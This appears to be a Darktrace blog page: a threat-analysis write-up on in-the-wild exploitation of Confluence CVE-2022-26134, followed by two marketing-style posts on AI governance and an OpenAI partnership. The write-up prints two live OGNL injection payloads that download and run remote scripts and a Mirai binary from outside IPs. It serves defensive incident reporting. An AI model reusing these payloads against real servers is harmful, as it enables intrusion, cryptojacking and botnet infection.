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June 12, 2022

Confluence CVE-2022-26134 Zero-Day: Detection & Guidance

Stay informed with Darktrace's blog on detection and guidance for the Confluence CVE-2022-26134 zero-day vulnerability. Learn how to protect your systems.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Gabriel Few-Wiegratz
Product Marketing Manager, Exposure Management and Incident Readiness
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12
Jun 2022

Summary

  • CVE-2022-26134 is an unauthenticated OGNL injection vulnerability which allows threat actors to execute arbitrary code on Atlassian Confluence Server or Data Centre products (not Cloud).
  • Atlassian has released several patches and a temporary mitigation in their security advisory. This has been consistently updated since the emergence of the vulnerability.
  • Darktrace detected and responded to an instance of exploitation in the first weekend of widespread exploits of this CVE.

Introduction

Looking forwards to 2022, the security industry expressed widespread concerns around third-party exposure and integration vulnerabilities.[1] Having already seen a handful of in-the-wild exploits against Okta (CVE-2022-22965) and Microsoft (CVE-2022-30190), the start of June has now seen another critical remote code execution (RCE) vulnerability affecting Atlassian’s Confluence range. Confluence is a popular wiki management and knowledge-sharing platform used by enterprises worldwide. This latest vulnerability (CVE-2022-26134) affects all versions of Confluence Server and Data Centre.[2] This blog will explore the vulnerability itself, an instance which Darktrace detected and responded to, and additional guidance for both the public at large and existing Darktrace customers.

Exploitation of this CVE occurs through an injection vulnerability which enables threat actors to execute arbitrary code without authentication. Injection-type attacks work by sending data to web applications in order to cause unintended results. In this instance, this involves injecting OGNL (Object-Graph Navigation Language) expressions to Confluence server memory. This is done by placing the expression in the URI of a HTTP request to the server. Threat actors can then plant a webshell which they can interact with and deploy further malicious code, without having to re-exploit the server. It is worth noting that several proofs-of-concept of this exploit have also been seen online.[3] As a widely known and critical severity exploit, it is being indiscriminately used by a range of threat actors.[4]

Atlassian advises that sites hosted on Confluence Cloud (run via AWS) are not vulnerable to this exploit and it is restricted to organizations running their own Confluence servers.[2]

Case study: European media organization

The first detected in-the-wild exploit for this zero-day was reported to Atlassian as an out-of-hours attack over the US Memorial Day weekend.[5] Darktrace analysts identified a similar instance of this exploit only a couple of days later within the network of a European media provider. This was part of a wider series of compromises affecting the account, likely involving multiple threat actors. The timing was also in line with the start of more widespread public exploitation attempts against other organizations.[6]

On the evening of June 3, Darktrace’s Enterprise Immune System identified a new text/x-shellscript download for the curl/7.61.1 user agent on a company’s Confluence server. This originated from a rare external IP address, 194.38.20[.]166. It is possible that the initial compromise came moments earlier from 95.182.120[.]164 (a suspicious Russian IP) however this could not be verified as the connection was encrypted. The download was shortly followed by file execution and outbound HTTP involving the curl agent. A further download for an executable from 185.234.247[.]8 was attempted but this was blocked by Antigena Network’s Autonomous Response. Despite this, the Confluence server then began serving sessions using the Minergate protocol on a non-standard port. In addition to mining, this was accompanied by failed beaconing connections to another rare Russian IP, 45.156.23[.]210, which had not yet been flagged as malicious on VirusTotal OSINT (Figures 1 and 2).[7][8]

Figures 1 and 2: Unrated VirusTotal pages for Russian IPs connected to during minergate activity and failed beaconing — Darktrace identification of these IP’s involvement in the Confluence exploit occurred prior to any malicious ratings being added to the OSINT profiles

Minergate is an open crypto-mining pool allowing users to add computer hashing power to a larger network of mining devices in order to gain digital currencies. Interestingly, this is not the first time Confluence has had a critical vulnerability exploited for financial gain. September 2021 saw CVE-2021-26084, another RCE vulnerability which was also taken advantage of in order to install crypto-miners on unsuspecting devices.[9]

During attempted beaconing activity, Darktrace also highlighted the download of two cf.sh files using the initial curl agent. Further malicious files were then downloaded by the device. Enrichment from VirusTotal (Figure 3) alongside the URIs, identified these as Kinsing shell scripts.[10][11] Kinsing is a malware strain from 2020, which was predominantly used to install another crypto-miner named ‘kdevtmpfsi’. Antigena triggered a Suspicious File Block to mitigate the use of this miner. However, following these downloads, additional Minergate connection attempts continued to be observed. This may indicate the successful execution of one or more scripts.

Figure 3: VirusTotal confirming evidence of Kinsing shell download

More concrete evidence of CVE-2022-26134 exploitation was detected in the afternoon of June 4. The Confluence Server received a HTTP GET request with the following URI and redirect location:

/${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“new java.lang.ProcessBuilder().command(‘bash’,’-c’,’(curl -s 195.2.79.26/cf.sh||wget -q -O- 195.2.79.26/cf.sh)|bash’).start()”)}/

This is a likely demonstration of the OGNL injection attack (Figures 3 and 4). The ‘nashorn’ string refers to the Nashorn Engine which is used to interpret javascript code and has been identified within active payloads used during the exploit of this CVE. If successful, a threat actor could be provided with a reverse shell for ease of continued connections (usually) with fewer restrictions to port usage.[12] Following the injection, the server showed more signs of compromise such as continued crypto-mining and SSL beaconing attempts.

Figures 4 and 5: Darktrace Advanced Search features highlighting initial OGNL injection and exploit time

Following the injection, a separate exploitation was identified. A new user agent and URI indicative of the Mirai botnet attempted to utilise the same Confluence vulnerability to establish even more crypto-mining (Figure 6). Mirai itself may have also been deployed as a backdoor and a means to attain persistency.

Figure 6: Model breach snapshot highlighting new user agent and Mirai URI

/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(“wget 149.57.170.179/mirai.x86;chmod 777 mirai.x86;./mirai.x86 Confluence.x86”).getInputStream(),”utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}/

Throughout this incident, Darktrace’s Proactive Threat Notification service alerted the customer to both the Minergate and suspicious Kinsing downloads. This ensured dedicated SOC analysts were able to triage the events in real time and provide additional enrichment for the customer’s own internal investigations and eventual remediation. With zero-days often posing as a race between threat actors and defenders, this incident makes it clear that Darktrace detection can keep up with both known and novel compromises.

A full list of model detections and indicators of compromise uncovered during this incident can be found in the appendix.

Darktrace coverage and guidance

From the Kinsing shell scripts to the Nashorn exploitation, this incident showcased a range of malicious payloads and exploit methods. Although signature solutions may have picked up the older indicators, Darktrace model detections were able to provide visibility of the new. Models breached covering kill chain stages including exploit, execution, command and control and actions-on-objectives (Figure 7). With the Enterprise Immune System providing comprehensive visibility across the incident, the threat could be clearly investigated or recorded by the customer to warn against similar incidents in the future. Several behaviors, including the mass crypto-mining, were also grouped together and presented by AI Analyst to support the investigation process.

Figure 7: Device graph showing a cluster of model breaches on the Confluence Server around the exploit event

On top of detection, the customer also had Antigena in active mode, ensuring several malicious activities were actioned in real time. Examples of Autonomous Response included:

  • Antigena / Network / External Threat / Antigena Suspicious Activity Block
  • Block connections to 176.113.81[.]186 port 80, 45.156.23[.]210 port 80 and 91.241.19[.]134 port 80 for one hour
  • Antigena / Network / External Threat / Antigena Suspicious File Block
  • Block connections to 194.38.20[.]166 port 80 for two hours
  • Antigena / Network / External Threat / Antigena Crypto Currency Mining Block
  • Block connections to 176.113.81[.]186 port 80 for 24 hours

Darktrace customers can also maximise the value of this response by taking the following steps:

  • Ensure Antigena Network is deployed.
  • Regularly review Antigena breaches and set Antigena to ‘Active’ rather than ‘Human Confirmation’ mode (otherwise customers’ security teams will need to manually trigger responses).
  • Tag Confluence Servers with Antigena External Threat, Antigena Significant Anomaly or Antigena All tags.
  • Ensure Antigena has appropriate firewall integrations.

For each of these steps, more information can be found in the product guides on our Customer Portal

Wider recommendations for CVE-2022-26134

On top of Darktrace product guidance, there are several encouraged actions from the vendor:

  • Atlassian recommends updates to the following versions where this vulnerability has been fixed: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1.
  • For those unable to update, temporary mitigations can be found in the formal security advisory.
  • Ensure Internet-facing servers are up-to-date and have secure compliance practices.

Appendix

Darktrace model detections (for the discussed incident)

  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Script from Rare External
  • Anomalous Server Activity / Possible Denial of Service Activity
  • Anomalous Server Activity / Rare External from Server
  • Compromise / Crypto Currency Mining Activity
  • Compromise / High Volume of Connections with Beacon Score
  • Compromise / Large Number of Suspicious Failed Connections
  • Compromise / SSL Beaconing to Rare Destination
  • Device / New User Agent

IoCs

Thanks to Hyeongyung Yeom and the Threat Research Team for their contributions.

Footnotes

1. https://www.gartner.com/en/articles/7-top-trends-in-cybersecurity-for-2022

2. https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

3. https://twitter.com/phithon_xg/status/1532887542722269184?cxt=HHwWgMCoiafG9MUqAAAA

4. https://twitter.com/stevenadair/status/1532768372911398916

5. https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

6. https://www.cybersecuritydive.com/news/attackers-atlassian-confluence-zero-day-exploit/625032

7. https://www.virustotal.com/gui/ip-address/45.156.23.210

8. https://www.virustotal.com/gui/ip-address/176.113.81.186

9. https://securityboulevard.com/2021/09/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers

10. https://www.virustotal.com/gui/file/c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

11. https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

12. https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Gabriel Few-Wiegratz
Product Marketing Manager, Exposure Management and Incident Readiness

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September 17, 2026

The Problem of Re-defining Human Value in the Agentic Age

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Newsfeeds are constantly informing us about the rapid escalation of agentic AI systems. These systems move far beyond simple machine-based computations, and  the focused, defined and bounded assistance that most AI systems started out as.

The next evolution of AI will harness the agentic properties of orchestration, automation, and heightened value-chains in IT, taking on the burden of workflow management, not just workflow delivery.

In nearly all of these instances, promises are made such as ‘this will free up human time’ or ‘this will allow people to focus on higher-order strategy’. However that message is delivered, one thing is clear: in ceding the orchestration and management of work to increasingly sophisticated AI agents and agentic systems, human value will be elevated to a particular and specific layer: the ability to judge its outputs.  As AI takes on more tasks, humans should be able to focus on a higher level of governance; making sure the decisions that AI offers us are ethical, responsible and worthwhile.  

But there are two major problems with that approach.

This blog discusses the problem of how Agentic systems are re-shaping how we review information, where we fit in, and when we make decisions.  It also discusses the problem of how the increased flow of confident, generated information affects the way we make judgement.  This blog considers how human judgement needs to adapt, and how a behavioral defense approach – using techniques pioneered by Darktrace – can help us do that.

The challenge of knowing where human judgement belongs

As we confer more automated decision-making to agentic systems, it might look increasingly less like ‘granting permissions’, and more like ‘surrendering authority’.  

The judgement layer for AI-generated work is not a fixed boundary. We have become used to the idea of a ‘human in the loop’ (HITL) and, historically, relationships between humans and IT systems were reasonably clear and bounded.  Computer and software systems were programmed to carry out certain tasks or automated functions, and humans could control the gates and decision points where actions were undertaken. Even across highly complex computational workflows, human interaction was a controllable node within the process; we were able to configure and regulate. But in the agentic age, where that human interaction sits, and what it can influence shifts every time AI systems are granted autonomy.  

This leads us to the first problem: if humans are moving themselves (or are being moved) into the ‘judgement’ part of the value chain, exactly where and when do we exercise that judgement?  

Humans are no longer the sole shepherds of computer-based or software-controlled outputs.  We are at times at least one step further (and slower) behind the new agentic shepherds.  We might also be blind to what they are doing.  Not only might we be removed and blind to the actions of our AI shepherds, but with the challenge of unknown, unapproved AI systems operating beyond our control, humans might not even know that our work is being shepherded by an AI at all.  Simply put, with the advent of greater levels of autonomy and orchestration, humans are at risk of not even knowing where to apply our newly-extended powers of strategic judgement.

Shadow AI – the use of unapproved AI systems or processes – is a growing threat to the role of effective governance and oversight. Shadow AI isn't just the AI you can't see. Its the AI you already know about being used in an unapproved way. The ability to generate effective oversight of the AI systems you use (or that are used on your behalf) will be increasingly important to ensure that human judgement in the AI value chain is effective, and deliberately placed.

The problem of what makes good judgement

The second problem lies in how flawed human judgement can be.  Humans are historically, notoriously, and, sometimes dangerously, unreliable when it comes to exercising judgement.  Humans are prone to the worst kinds of bias, the seduction of malign influence, and the sometimes-overwhelming urge to succeed. AI has long had a known flaw of operating with sycophancy, providing outputs that tend to agree with or flatter the human user.  But as AI grows ever more effective, there is a risk of both hyper-enablement (where humans increasingly and knowingly enable AI despite potential harm), as well as the greater risk of suggestion. Both of these aspects could skew the newly-elevated input of human judgement.

Imagine a highly competent AI system that has just orchestrated and managed a dizzying array of processes and workflows.  The AI is designed to present the human decision-maker with recommendations; based on analysis, comparison and other programmed factors.  This is where the human judgement layer is enabled.  But what if that judgement is summarily diffused by an AI-based recommendation that emulates the decision, provides plausible but unattractive alternatives, then suggests (or, worse, directs) the human end-user to take a particular course of action.

The risk here is that you are given a recommendation, tailored to your preferences (which the AI has learned, or which you have divulged), and which appears to make perfect sense.  It appears to be a well-weighted recommendation, with sound arguments that tap into our inherent biases or inclinations so that a specific decision-path is followed. With the growth of agentic systems specifically designed to match user profiles (from Cowork agents to ‘digital twin’ models), the likelihood of agentic influence could badly skew human judgement or, at the least, devalue the proposition that humans are taking a higher-layer of strategic control over AI-based decisions.

If AI convincingly recommends something that may be problematic, it can be difficult to discern both accurate data, and the context required to make the right judgement.

Given the two problems described above, the job of exercising valuable human judgement in the agentic age can draw down to these two questions:

  • When should humans intervene in the agentic process?  
  • How can we make the best possible judgement calls?

What humans contribute that AI cannot

For all the flaws that make human judgement unreliable, people have the edge over even the most sophisticated and powerful AI systems when it comes to issues such as ethics and social context.  An AI system can, with startling granularity, rank the value of adopting a new business proposal: offering predictive metrics on costs, returns, market value, time-to-deliver operations, conformance with legal registers, etc.  But it can’t tell if the business proposal is ethically sound, or if the business venture will potentially affect groups outside of the analyzed proposal. It can’t tell you if the CEO has a ‘bad feeling’ about this effort.  It can’t tell you if this is the right thing to do.  

The ability to add social context, balance complex interpersonal dynamics, understand nuance, and to go beyond what seems economically reasonable is where human judgement can add value.  

Human judgement is difficult to encapsulate in metrics. And the way we train our development may need to adapt too. Rather than building up a gradual, experiential knowledge base, we should think about training the skill of judgement itself; especially for an agentic age.

How behavioral security strengthens AI governance

If this all feels like a vicious circle (‘I need AI help to make good judgements’ / ‘AI can twist what I need to judge’) it needn’t be. The key to this is having a defense-in-depth approach, with tools that can actually help.

This is precisely where behavioral security becomes important. The complex and nuanced way that humans exercise judgement is often rooted in our ability to recognize behavior that doesn't look right. We may not always be able to articulate it immediately, but we can often identify when an action, recommendation, or outcome feels inconsistent with the context around it. As AI systems take on more responsibility across the decision chain, preserving that ability to recognize meaningful deviations becomes increasingly important.

Darktrace’s / SECURE AI is designed to do exactly that. It applies behavioral security to AI ecosystems, helping organizations understand how people, AI tools, identities, and agents interact across the business. By learning the patterns of normal AI usage and surfacing activity that deviates from those patterns, it provides security teams with the context needed to investigate risk, understand unusual behavior, and make informed governance decisions. Rather than relying solely on predefined rules or assumptions, this behavioral understanding helps organizations distinguish between expected AI activity and behavior that warrants closer scrutiny.

This matters because we are already in an era of information overload. If humans are expected to elevate their value through strategic judgement, the ability to do this without being overwhelmed by data (good or bad) will be critical.  

We need the ability to discern when we're being misled by AI, and whether our judgement calls are being made on the basis of accurate, contextual information. Darktrace / SECURE AI provides that additional layer of defensive security for activity we cannot easily see. Whether it is suspected Shadow AI or skewed recommendations, the net result is a protected organization, where users can more effectively use AI to make positive judgements.

For those where that judgement is a critical skill (both individuals, as well as those working in security teams), improving our metacognition - the ability to understand information in a broader context - will supercharge the value of human judgement. When those judgements are grounded in context rather than assumptions we have better information to make sound decisions.

Conclusion

Human judgement is a skill that is honed over time and experience.  Darktrace’s / SECURE AI employs the same principles, but at machine-speed. Rather than influencing or directing, Darktrace / SECURE AI offers AI-enabled assurance; providing human-based judgement with the right context to make a balanced decision.  

What we judge can be valued by the legitimacy of its outputs. For AI, those outputs are valued on the speed and accuracy of the information provided.  Increasingly for humans, the value of our outputs will be based on the validity of our judgement, and how we justify our decisions in ways that engineer confidence.  

Humans often know more than we can express, while AI is prone to expressing more than it truly understands. Humans can bridge the context AI often fails to appreciate. When that judgement is supported by relevant, impartial AI systems, this is the future space where good AI governance will be exercised.

Discover Darktrace / SECURE AI.

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About the author
Jason Lusted
AI Governance Advisor

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September 4, 2026

Darktrace Advances Incident Investigation and AI-Agent Security with OpenAI Daybreak Models

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Earlier this year, Darktrace joined OpenAI’s Daybreak Defense Network to explore how their cyber capabilities can be integrated within Darktrace products and services to transform how security teams move from signal to action.

At the heart of this work is Darktrace's behavioral understanding of customer environments and identification of complex security incidents, combined with OpenAI models that can add context to help explain why an incident matters and its potential impact on the business. By bringing these capabilities into defensive workflows security teams already use, the goal is to give defenders not just greater visibility, but the context and guidance they need to act with confidence.

Since joining the program, we've been working with OpenAI to explore how these capabilities can address specific security challenges for defenders.

The problem we're solving

Attackers continue to change how they operate, including by using AI to increase the speed and scale of some techniques. Security teams are already managing a large volume of alerts, and the question isn't just what's happening, but how it could affect the organization. Even when an incident is fully investigated and correlated, technical severity alone doesn't tell a security team how much it actually matters to the business. That same challenge extends to internal AI adoption. As organizations adopt more AI systems and agents, security teams need visibility into their behavior, access and activity, along with the broader business context needed to identify and investigate potential risk.

Darktrace's Adaptive AI™ builds a detailed, organization-specific picture of what's normal for each environment, and uses that picture to investigate threats and identify complex security activity across domains. OpenAI's models can build on Darktrace's correlated, technically prioritized incidents by adding context that can help defenders understand what may be at stake.

What we're building

Our work is focused on two areas: supporting security investigation and response, and helping defenders identify risky behavior across enterprise AI systems and agents.

The first aligns Darktrace's behavioral understanding with OpenAI models to support  security investigation and prioritization. Darktrace's Adaptive AI continuously learns the unique patterns of normal behavior within each customer it protects, creating a deep, organization-specific understanding of its digital estate. When unusual activity emerges, OpenAI's models can draw on that context to help analysts investigate the incident, understand its significance and assess potential business consequences — reducing the need to manually assemble context from fragmented signals.

Second, we are exploring how these capabilities can support AI-agent and runtime security through Darktrace / SECURE AI™. OpenAI’s Daybreak models can build on the detections and visibility Darktrace / SECURE AI provides, connecting signals across a customer's environment and help defenders identify potentially risky behavior involving AI systems and agents. Activity that might appear isolated can instead be connected with related signals, helping defenders investigate the broader context and determine appropriate remediation.

Darktrace brings deep cybersecurity expertise, an evolving understanding of each customer's environment, and AI-driven identification of threats across the digital estate. Through the Daybreak Defense Network, Darktrace is exploring how OpenAI models can augment those capabilities in defensive security workflows — supporting incident investigation and response and improving visibility into AI-agent and runtime risk.

These capabilities are still in development, and we're excited to continue building on this work.

To learn more about how Darktrace continues to innovate to meet today's most pressing security challenges, register for our upcoming launch broadcast here.

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About the author
Dr. Tim Bazalgette
Chief AI Officer, Darktrace
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